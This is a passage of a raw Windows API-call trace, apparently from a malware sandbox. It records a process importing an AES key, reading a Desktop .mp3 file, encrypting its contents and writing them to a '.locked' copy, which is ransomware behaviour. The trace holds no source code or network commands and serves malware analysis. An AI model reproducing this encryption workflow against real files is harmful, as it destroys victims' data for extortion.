(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0128.280] SystemFunction041 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.280] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0128.280] SystemFunction040 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.280] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0128.280] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0128.280] SystemFunction041 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.280] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0128.280] SystemFunction040 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.280] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0128.280] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0128.280] SystemFunction041 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.280] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0128.280] SystemFunction040 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.281] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0128.281] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0128.281] SystemFunction041 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.281] SystemFunction040 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.281] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0128.281] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0128.281] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0128.281] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0128.281] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0128.281] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0128.281] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0128.282] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0128.282] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae960*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae960*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.282] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0128.282] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0128.283] CryptAcquireContextW (in: phProv=0x99ae6e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae6e0*=0x8e021c8) returned 1 [0128.283] CryptImportKey (in: hProv=0x8e021c8, pbData=0x6ab0d2c, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aeab8 | out: phKey=0x99aeab8*=0x8e84fb8) returned 1 [0128.283] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.283] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae7b8, nSize=0x100 | out: lpBuffer="తګ") returned 0x0 [0128.283] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb90*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb90*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.283] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaf0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaf0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.283] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.284] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\i0i3yfti1x.mp3")) returned 0x20 [0128.284] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\i0i3yfti1x.mp3")) returned 0x20 [0128.285] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", nBufferLength=0x105, lpBuffer=0x99ae470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", lpFilePart=0x0) returned 0x2c [0128.285] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", nBufferLength=0x105, lpBuffer=0x99ae434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", lpFilePart=0x0) returned 0x2c [0128.285] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeb1c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb1c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.286] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", lpFilePart=0x0) returned 0x2c [0128.286] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", lpFilePart=0x0) returned 0x2c [0128.286] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.286] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.286] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.287] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.287] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", lpFilePart=0x0) returned 0x2c [0128.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0128.287] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\i0i3yfti1x.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x868 [0128.287] GetFileType (hFile=0x868) returned 0x1 [0128.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0128.287] GetFileType (hFile=0x868) returned 0x1 [0128.287] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.288] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe3b0\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0128.288] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.288] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.288] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.288] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3.locked", lpFilePart=0x0) returned 0x33 [0128.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0128.289] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\i0i3yfti1x.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0128.289] GetFileType (hFile=0x858) returned 0x1 [0128.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0128.289] GetFileType (hFile=0x858) returned 0x1 [0128.289] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.290] CryptGenRandom (in: hProv=0x8e021c8, dwLen=0x10, pbBuffer=0x6ac6194 | out: pbBuffer=0x6ac6194) returned 1 [0128.290] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.290] CryptDuplicateKey (in: hKey=0x8e84fb8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae6bc | out: phKey=0x99ae6bc*=0x8e850b8) returned 1 [0128.291] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.291] CryptSetKeyParam (hKey=0x8e850b8, dwParam=0x4, pbData=0x6ac7450*=0x1, dwFlags=0x0) returned 1 [0128.291] CryptSetKeyParam (hKey=0x8e850b8, dwParam=0x1, pbData=0x6ac741c, dwFlags=0x0) returned 1 [0128.291] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\xe2f0\x99a\x18b2\x7477\x1560\x438\x24a") returned 0x0 [0128.291] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.291] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.291] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.292] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.292] ReadFile (in: hFile=0x868, lpBuffer=0x6aca9ac, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x6aca9ac*, lpNumberOfBytesRead=0x99ae6cc*=0x14000, lpOverlapped=0x0) returned 1 [0128.292] CryptEncrypt (in: hKey=0x8e850b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6ade9b8*, pdwDataLen=0x99ae6c0*=0x14000, dwBufLen=0x14000 | out: pbData=0x6ade9b8*, pdwDataLen=0x99ae6c0*=0x14000) returned 1 [0128.292] WriteFile (in: hFile=0x858, lpBuffer=0x6ac6254*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x6ac6254*, lpNumberOfBytesWritten=0x99ae6a4*=0x1000, lpOverlapped=0x0) returned 1 [0128.293] WriteFile (in: hFile=0x858, lpBuffer=0x6adf9a4*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x6adf9a4*, lpNumberOfBytesWritten=0x99ae6a4*=0x13014, lpOverlapped=0x0) returned 1 [0128.294] ReadFile (in: hFile=0x868, lpBuffer=0x6aca9ac, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x6aca9ac*, lpNumberOfBytesRead=0x99ae6cc*=0x567, lpOverlapped=0x0) returned 1 [0128.294] CryptEncrypt (in: hKey=0x8e850b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6af29dc*, pdwDataLen=0x99ae6c0*=0x560, dwBufLen=0x560 | out: pbData=0x6af29dc*, pdwDataLen=0x99ae6c0*=0x560) returned 1 [0128.294] ReadFile (in: hFile=0x868, lpBuffer=0x6aca9ac, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x6aca9ac*, lpNumberOfBytesRead=0x99ae6cc*=0x0, lpOverlapped=0x0) returned 1 [0128.294] CryptEncrypt (in: hKey=0x8e850b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6af2f60*, pdwDataLen=0x99ae714*=0x10, dwBufLen=0x10 | out: pbData=0x6af2f60*, pdwDataLen=0x99ae714*=0x10) returned 1 [0128.294] CryptEncrypt (in: hKey=0x8e850b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6af2f94*, pdwDataLen=0x99ae71c*=0x0, dwBufLen=0x10 | out: pbData=0x6af2f94*, pdwDataLen=0x99ae71c*=0x10) returned 1 [0128.295] WriteFile (in: hFile=0x858, lpBuffer=0x6ac6254*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x99ae6ec, lpOverlapped=0x0 | out: lpBuffer=0x6ac6254*, lpNumberOfBytesWritten=0x99ae6ec*=0x570, lpOverlapped=0x0) returned 1 [0128.295] CloseHandle (hObject=0x858) returned 1 [0128.326] CloseHandle (hObject=0x868) returned 1 [0128.327] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", lpFilePart=0x0) returned 0x2c [0128.327] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.329] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.329] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x64, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.329] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.330] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\i0i3yfti1x.mp3")) returned 0x20 [0128.330] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", nBufferLength=0x105, lpBuffer=0x99adec4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", lpFilePart=0x0) returned 0x2c [0128.330] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0128.330] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0128.331] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0128.331] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0128.331] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0128.331] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0128.331] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0128.331] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0128.331] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0128.331] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0128.331] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0128.331] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0128.331] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0128.331] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0128.335] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0128.335] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: 